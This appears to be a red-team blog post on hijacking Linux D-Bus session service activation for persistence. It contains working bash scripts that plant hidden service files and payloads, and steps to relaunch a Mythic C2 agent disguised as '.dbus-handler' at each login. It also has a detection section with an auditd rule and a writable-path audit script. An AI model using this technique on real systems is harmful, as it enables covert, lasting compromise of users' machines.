Identifying what D-Bus services activate at startup is more of an art than a science. To enumerate the services that are activated upon user login I stuffed every well-known service from busctl --user list into a bash script that creates each a D-Bus service file in ~/.local/share/dbus-1/services/ and logged out and back in a few times.

#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept
# Creates service files for multiple D-Bus services-

# Set global vars
DBUS_DIR="$HOME/.local/share/dbus-1/services"

# Create the $DBUS_DIR directory if it does not exist
mkdir -p "$DBUS_DIR"

# Create a hidden payload script
cat > "$DBUS_DIR/.persistence_payload.sh" << EOL
#!/bin/bash
LOG_FILE="\$HOME/poc.log"
mkdir -p "\$(dirname "\$LOG_FILE")"
echo "[\$(date)] Persistence activated via \$1" >> "\$LOG_FILE"
# Execute original binary if provided
[ -n "\$2" ] && [ -x "\$2" ] && "\$2" "\$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
chmod +x "$DBUS_DIR/.persistence_payload.sh"

# List of services to hijack
SERVICES=(
ca.desrt.dconf-editor
com.canonical.Unity
com.canonical.firmware_updater
com.feralinteractive.GameMode
com.mitchellh.ghostty
com.rastersoft.ding
com.rastersoft.dingextension
io.snapcraft.Launcher
io.snapcraft.SessionAgent
io.snapcraft.Settings
io.snapcraft.SnapDesktopIntegration
org.a11y.Bus
org.bluez.obex
org.fedoraproject.Config.Printing
org.flatpak.Authenticator.Oci
org.freedesktop.ColorHelper
org.freedesktop.Flatpak
org.freedesktop.IBus
org.freedesktop.IBus.Panel.Extension.Gtk3
org.freedesktop.ReserveDevice1.Audio0
org.freedesktop.ScreenSaver
org.freedesktop.Tracker3.Miner.Files
org.freedesktop.Tracker3.Miner.Files.Control
org.freedesktop.Tracker3.Writeback
org.freedesktop.background.Monitor
org.freedesktop.impl.portal.Secret
org.freedesktop.portal.Flatpak
org.freedesktop.portal.Tracker
org.freedesktop.secrets
org.freedesktop.systemd1
org.gnome.Calculator.SearchProvider
org.gnome.Characters
org.gnome.DiskUtility
org.gnome.Disks.NotificationMonitor
org.gnome.Evolution-alarm-notify
org.gnome.Extensions
org.gnome.Logs
org.gnome.Mutter.DisplayConfig
org.gnome.Mutter.IdleMonitor
org.gnome.Mutter.InputCapture
org.gnome.Mutter.InputMapping
org.gnome.Mutter.RemoteDesktop
org.gnome.Mutter.ScreenCast
org.gnome.Mutter.ServiceChannel
org.gnome.Nautilus
org.gnome.Nautilus.Tracker3.Miner.Extract
org.gnome.Nautilus.Tracker3.Miner.Files
org.gnome.Rygel1
org.gnome.Settings
org.gnome.Settings.SearchProvider
org.gnome.SettingsDaemon.A11ySettings
org.gnome.SettingsDaemon.Datetime
org.gnome.SettingsDaemon.Housekeeping
org.gnome.SettingsDaemon.Keyboard
org.gnome.SettingsDaemon.MediaKeys
org.gnome.SettingsDaemon.PrintNotifications
org.gnome.SettingsDaemon.Rfkill
org.gnome.SettingsDaemon.ScreensaverProxy
org.gnome.SettingsDaemon.Sharing
org.gnome.SettingsDaemon.Smartcard
org.gnome.SettingsDaemon.Sound
org.gnome.SettingsDaemon.XSettings
org.gnome.Shell
org.gnome.Shell.AudioDeviceSelection
org.gnome.Shell.Extensions
org.gnome.Shell.HotplugSniffer
org.gnome.Shell.Introspect
org.gnome.Shell.Portal
org.gnome.Shell.ScreenShield
org.gnome.Shell.Screenshot
org.gnome.Shell.Wacom.PadOsd
org.gnome.Terminal
org.gnome.TextEditor
org.gnome.baobab
org.gnome.clocks
org.gnome.evince.Daemon
org.gnome.evolution.dataserver.UserPrompter0
org.gnome.font-viewer
org.gnome.keyring
org.gnome.keyring.PrivatePrompter
org.gnome.keyring.SystemPrompter
org.gnome.seahorse.Application
org.gtk.GLib.PACRunner
org.gtk.MountOperationHandler
org.gtk.Notifications
org.gtk.vfs.mountpoint_45413
org.kde.StatusNotifierWatcher
)

# Create service files for each service
for SERVICE in "${SERVICES[@]}"; do
  # File can be called anything but must end with .service
  cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
  echo "Created persistence for $SERVICE"
done

echo "Service persistence installed for all services. Check $HOME/poc.log after reboot."

After collecting data from logging out and back in a few times, the following services were activated consistently during the login process.

Service Name Description
org.freedesktop.DBus Core message bus service that allows applications to communicate with each other
org.freedesktop.portal.Documents Manages document access and permissions for sandboxed applications
org.gnome.SessionManager Controls GNOME desktop session including startup, shutdown, and application lifecycle
org.gtk.vfs.Daemon Provides virtual filesystem functionality for accessing various storage types
ca.desrt.dconf Handles storage and retrieval of application settings and configurations
org.freedesktop.FileManager1 Offers API for applications to interact with the file manager
org.freedesktop.Notifications Manages desktop notifications from various applications
org.freedesktop.impl.portal.PermissionStore Stores and manages application permissions
org.freedesktop.portal.Desktop Provides desktop integration for sandboxed applications
org.freedesktop.portal.IBus Handles input method integration for text entry
org.gnome.ScreenSaver Controls screen locking and screen saver functionality
org.gnome.SettingsDaemon.Color Manages color profiles and calibration
org.gnome.SettingsDaemon.Power Handles power management settings and behaviors
org.gnome.SettingsDaemon.Wacom Provides support for Wacom tablet devices
org.gnome.Shell.CalendarServer Manages calendar data and events for the GNOME shell
org.gnome.Shell.Notifications Handles shell-specific notification processing
org.gnome.Shell.Screencast Provides screen recording functionality
org.gnome.evolution.dataserver.Sources5 Manages data sources for Evolution PIM applications
org.gtk.Settings Handles GTK-specific settings
org.gtk.vfs.AfcVolumeMonitor Monitors iOS devices via AFC protocol
org.gtk.vfs.GPhoto2VolumeMonitor Monitors digital cameras via GPhoto2
org.gtk.vfs.GoaVolumeMonitor Monitors GNOME Online Accounts storage
org.gtk.vfs.MTPVolumeMonitor Monitors media devices using MTP protocol
org.gtk.vfs.Metadata Manages filesystem metadata
org.gtk.vfs.UDisks2VolumeMonitor Monitors storage devices via UDisks2
org.freedesktop.impl.portal.desktop.gnome GNOME implementation of desktop portals
org.freedesktop.impl.portal.desktop.gtk GTK implementation of desktop portals
org.gnome.OnlineAccounts Manages online account credentials and connections
org.gnome.evolution.dataserver.Calendar8 Provides calendar data services
org.gnome.Identity Manages user identity information
org.gnome.evolution.dataserver.AddressBook10 Provides contact management services

Theoretically, each of these are candidates for service path hijacking but the more “common” the service, the better the chance of it activating upon user login. From testing, org.gnome.SessionManager seems to work consistently, although many others do as well.

Let’s create a bash script that automates each step of the above proof of concept, but for the org.gnome.SessionManager service.

#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept

# Where to write the D-Bus configuration file to.
DBUS_DIR="$HOME/.local/share/dbus-1/services"

# The service we will hijack. 
# Other hijacking candidates include: org.gtk.Settings 
#                                     org.gtk.vfs.Daemon
#                                     org.gtk.vfs.GoaVolumeMonitor
#                                     org.gtk.vfs.UDisks2VolumeMonitor
#                                     etc....
SERVICE="org.gnome.SessionManager"

# Creates ~/.local/share/dbus-1/services/.persistence_payload.sh
#         ~/.local/share/dbus-1/services/.dbus.service
run_default() {
    # Create the $DBUS_DIR directory if it does not exist
    mkdir -p "$DBUS_DIR"
    # Create a hidden payload script
    cat > "$DBUS_DIR/.persistence_payload.sh" << 'EOL'
#!/bin/bash
LOG_FILE="$HOME/poc.log"
mkdir -p "$(dirname "$LOG_FILE")"
SVC="${SERVICE}"  # This will expand the current value of SERVICE
echo "[$(date)] Persistence activated via $SVC" >> "$LOG_FILE"
# Execute original binary if provided
[ -n "$2" ] && [ -x "$2" ] && "$2" "$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
    # Make the payload executable
    chmod +x "$DBUS_DIR/.persistence_payload.sh"
    
    # Create the service file for $SERVICE 
    cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
    
    echo "Created persistence for $SERVICE"
    
    ls -lah "$DBUS_DIR"
    
    echo "Service persistence installed."
}

run_cleanup() {
    rm -f "$DBUS_DIR"/.*service
    rm -f "$DBUS_DIR"/.*.sh
    echo "Removed all files from $DBUS_DIR"
}
# Run ./poc.sh --cleanup to remove service config and payload
if [[ "$1" == "--cleanup" ]]; then
    run_cleanup
else
    run_default
fi

After running the proof of concept, we should be left with two files:

➜  ~ ./final.sh
Created persistence for org.gnome.SessionManager
total 24K
drwxrwxr-x 2 graham graham  12K Apr 21 21:01 .
drwxrwxr-x 3 graham graham 4.0K Apr  4 11:06 ..
-rw-rw-r-- 1 graham graham  144 Apr 21 21:01 .org.gnome.SessionManager.service
-rwxrwxr-x 1 graham graham  334 Apr 21 21:01 .persistence_payload.sh
Service persistence installed.
➜  ~ ./final.sh --cleanup
Removed all files from /home/graham/.local/share/dbus-1/services

This dbus-poc.sh script creates two files:

  1. The configuration file loaded at service activation
  2. The payload handler that will execute our custom code.

After logging out and back in, we can see that poc.log exists in the home directory.

C2 Persistence with Mythic

Finally, let’s utilize this technique to create a callback to our Mythic C2 server each time a user logs in. The scenario we’re emulating is a red team targeting a mature organization with developers who utilize Linux VMs for development. To save on resource costs, the Linux machine is shut down each night. After getting initial access, the red team is attempting to maintain persistence on the user’s VM before the user logs out and the instance is shut down.

The first step is to generate a mythic payload using your favorite C2 agent. In this case, the Go-based Linux agent Poseidon using an HTTP profile.

After generating a payload and uploading it to the target machine, we can store it in whatever sneaky way you wish. For this, I’ll just be placing it in ~/.local/share/dbus-1/services/.dbus-handler.

Next, we need to create the malicious D-Bus service configuration file in ~/.local/share/dbus-1/services/org.gnome.SessionManager.service that will execute our payload when the user logs in.

# Create a D-Bus service configuration file for org.gnome.SessionManager.service
# This will run .dbus-handler (our Poseidon agent)
cat << EOF > ~/.local/share/dbus-1/services/.org.gnome.SessionManager.service
[D-BUS Service]
Name=org.gnome.SessionManager
Exec=/home/ubuntu/.local/share/dbus-1/services/.dbus-handler "org.gnome.SessionManager"
EOF
ubuntu@dbus-ubuntu-2404:~/.local/share/dbus-1/services$ ls -lah
total 8.7M
drwxrwxr-x 2 ubuntu ubuntu 4.0K Apr 22 20:44 .
drwxrwxr-x 3 ubuntu ubuntu 4.0K Apr  3 20:41 ..
-rwxrwxr-x 1 ubuntu ubuntu 8.7M Apr 22 20:28 .dbus-handler
-rw-rw-r-- 1 ubuntu ubuntu  134 Apr 22 20:44 .org.gnome.SessionManager.service

When the user logs back in the next time, our dbus-handler Poseidon agent will execute, giving us a callback in Mythic.

Mythic C2 callback from Poseidon agent

Taking a look at the process listing confirms the beacon .dbus-handler is running as PID 1468.

ubuntu      1411  0.6  0.3  20956 12544 ?        Ss   20:33   0:00 /usr/lib/systemd/systemd --user
ubuntu      1415  0.0  0.0  21456  3596 ?        S    20:33   0:00  \_ (sd-pam)
ubuntu      1431  0.0  0.2 112968 11648 ?        S<sl 20:33   0:00  \_ /usr/bin/pipewire
ubuntu      1433  0.0  0.1  97736  5632 ?        Ssl  20:33   0:00  \_ /usr/bin/pipewire -c filter-chain.conf
ubuntu      1436  0.0  0.3 404980 15744 ?        S<sl 20:33   0:00  \_ /usr/bin/wireplumber
ubuntu      1444  0.0  0.2 109792 11008 ?        S<sl 20:33   0:00  \_ /usr/bin/pipewire-pulse
ubuntu      1445  0.4  0.1  10720  6272 ?        Ss   20:33   0:00  \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
ubuntu      1446  0.0  0.2 316508 10112 ?        SLsl 20:33   0:00  \_ /usr/bin/gnome-keyring-daemon --foreground --components=pkcs11,secrets --control-directory=/run/user/1000/keyring
ubuntu      1468  1.6  0.3 1602640 12672 ?       Sl   20:33   0:00  \_ /home/ubuntu/.local/share/dbus-1/services/dbus-handler org.gnome.SessionManager

Detection

Your standard persistence detection mechanisms apply here. A quick and easy rule to place a watch on a user’s directory:

-w /home/ubuntu/.local/share/dbus-1/services/ -p wa -k user_dbus_creation

This (generic) watch will log any files being created or modified in /home/ubuntu/.local/share/dbus-1/services.

ubuntu@dbus-ubuntu-2404:~$ sudo ausearch -k user_dbus_creation

time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.263:554): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.263:554): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.263:554): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.263:554): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.263:554): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80ed000 a2=241 a3=1b6 items=2 ppid=4243 pid=4245 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:555): proctitle=63686D6F64002B78002F686F6D652F7562756E74752F2E6C6F63616C2F73686172652F646275732D312F73657276696365732F2E70657273697374656E63655F7061796C6F61642E7368
type=PATH msg=audit(1745359675.265:555): item=0 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:555): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:555): arch=c000003e syscall=268 success=yes exit=0 a0=ffffff9c a1=648cfc2e04d0 a2=1fd a3=0 items=1 ppid=4243 pid=4246 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="chmod" exe="/usr/bin/chmod" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:556): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.265:556): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.org.gnome.SessionManager.service" inode=516206 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.265:556): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:556): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:556): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80f2220 a2=241 a3=1b6 items=2 ppid=4243 pid=4247 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"

Ideally, every path in the the D-Bus search path should be watched for malicious service files being created. The search path changing depending on environment variables can be annoying. To deal with this, the following script will evaluate a system for directories in the D-Bus search path that are writable by a user and print them to the screen. That information can be used to inform what directories to create detections for (Auditd or otherwise).

#!/bin/bash

# Function to normalize path (remove trailing slash)
normalize_path() {
    echo "${1%/}"
}

# ANSI color codes
RED='\033[0;31m'
NC='\033[0m' # No Color

# Function to check if user can write to a directory or its parent
check_path_write_access() {
    local dir="$1"
    local priority="$2"
    
    if [ -d "$dir" ]; then
        # Directory exists
        if [ -w "$dir" ]; then
            echo -e "${priority}. ${RED}$dir${NC} (exists, writable)"
        else
            echo -e "${priority}. $dir (exists, not writable)"
        fi
    else
        # Directory doesn't exist, check parent
        local parent_dir=$(dirname "$dir")
        if [ -d "$parent_dir" ]; then
            if [ -w "$parent_dir" ]; then
                echo -e "${priority}. ${RED}$dir${NC} (doesn't exist, can be created)"
            else
                echo -e "${priority}. $dir (doesn't exist, parent not writable)"
            fi
        else
            echo -e "${priority}. $dir (doesn't exist, parent also doesn't exist)"
        fi
    fi
}

# Path definitions
echo "D-Bus service file search paths:"

# Path 1
RUNTIME_PATH=""
if [ -n "$XDG_RUNTIME_DIR" ]; then
    RUNTIME_PATH="$(normalize_path "$XDG_RUNTIME_DIR")/dbus-1/services"
    echo "1. $RUNTIME_PATH"
fi

# Path 2
XDG_DATA_HOME="${XDG_DATA_HOME:-$HOME/.local/share}"
DATA_HOME_PATH="$(normalize_path "$XDG_DATA_HOME")/dbus-1/services"
echo "2. $DATA_HOME_PATH"

# Path 3
XDG_DATA_DIRS="${XDG_DATA_DIRS:-/usr/local/share:/usr/share}"
echo "3. Directories from XDG_DATA_DIRS:"
IFS=':'
data_dirs_paths=()
for dir in $XDG_DATA_DIRS; do
    normalized_dir="$(normalize_path "$dir")/dbus-1/services"
    echo "   $normalized_dir"
    data_dirs_paths+=("$normalized_dir")
done

# Path 4
USR_SHARE_PATH="/usr/share/dbus-1/services"
echo "4. $USR_SHARE_PATH"

# Check all paths with priorities and write permissions
echo -e "\nAll paths with their priorities and write permissions:"

# Check path 1
if [ -n "$XDG_RUNTIME_DIR" ]; then
    check_path_write_access "$RUNTIME_PATH" 1
fi

# Check path 2
check_path_write_access "$DATA_HOME_PATH" 2

# Check paths from XDG_DATA_DIRS (path 3)
sub_priority=0
for path in "${data_dirs_paths[@]}"; do
    sub_priority=$((sub_priority + 1))
    priority_string="3.$sub_priority"
    check_path_write_access "$path" "$priority_string"
done

# Check path 4 if not already listed in XDG_DATA_DIRS
if ! [[ " ${data_dirs_paths[*]} " =~ " $USR_SHARE_PATH " ]]; then
    check_path_write_access "$USR_SHARE_PATH" 4
fi

# Summary section - provide recommendations
echo -e "\nRecommendations:"
# Find highest priority writable path
if [ -n "$XDG_RUNTIME_DIR" ]; then
    parent_runtime=$(dirname "$RUNTIME_PATH")
    if [ -d "$RUNTIME_PATH" ] && [ -w "$RUNTIME_PATH" ]; then
        echo -e "- Highest priority writable path: ${RED}$RUNTIME_PATH${NC} (priority 1)"
        echo "  Note: This path is temporary and cleared on logout/reboot"
    elif [ -d "$parent_runtime" ] && [ -w "$parent_runtime" ]; then
        echo -e "- Highest priority path that can be created: ${RED}$RUNTIME_PATH${NC} (priority 1)"
        echo "  Note: This path is temporary and cleared on logout/reboot"
    elif [ -d "$DATA_HOME_PATH" ] && [ -w "$DATA_HOME_PATH" ]; then
        echo -e "- Highest priority writable path: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
        echo "  Note: This path persists across reboots"
    else
        parent_data_home=$(dirname "$DATA_HOME_PATH")
        if [ -d "$parent_data_home" ] && [ -w "$parent_data_home" ]; then
            echo -e "- Highest priority path that can be created: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
            echo "  Note: This path persists across reboots"
        fi
    fi
fi

echo -e "- For persistent services that survive reboots, use: ${RED}$DATA_HOME_PATH${NC}"
echo -e "- For temporary services for the current session only, use: ${RED}$RUNTIME_PATH${NC}"
echo "- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig"
D-Bus service file search paths:
1. /run/user/1000/dbus-1/services
2. /home/graham/.local/share/dbus-1/services
3. Directories from XDG_DATA_DIRS:
   /home/graham/.local/share/flatpak/exports/share/dbus-1/services
   /var/lib/flatpak/exports/share/dbus-1/services
   /usr/local/share/dbus-1/services
   /usr/share/dbus-1/services
   /var/lib/snapd/desktop/dbus-1/services
   /snap/ghostty/37/usr/share/dbus-1/services
4. /usr/share/dbus-1/services

All paths with their priorities and write permissions:
1. /run/user/1000/dbus-1/services (exists, writable)
2. /home/graham/.local/share/dbus-1/services (exists, writable)
3.1. /home/graham/.local/share/flatpak/exports/share/dbus-1/services (doesn't exist, can be created)
3.2. /var/lib/flatpak/exports/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.3. /usr/local/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.4. /usr/share/dbus-1/services (exists, not writable)
3.5. /var/lib/snapd/desktop/dbus-1/services (doesn't exist, parent also doesn't exist)
3.6. /snap/ghostty/37/usr/share/dbus-1/services (exists, not writable)
3. /usr/share/dbus-1/services (exists, not writable)

Recommendations:
- Highest priority writable path: /run/user/1000/dbus-1/services (priority 1)
  Note: This path is temporary and cleared on logout/reboot
- For persistent services that survive reboots, use: /home/graham/.local/share/dbus-1/services
- For temporary services for the current session only, use: /run/user/1000/dbus-1/services
- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig

Wrapping up

It was fun digging into how D-Bus works for this research, the more I explored the more questions I had. I’m sure there are other fun areas to explore within the D-Bus system. Don’t forget to thank the D-Bus driver on your way out.

References

Some references I found useful during my travels.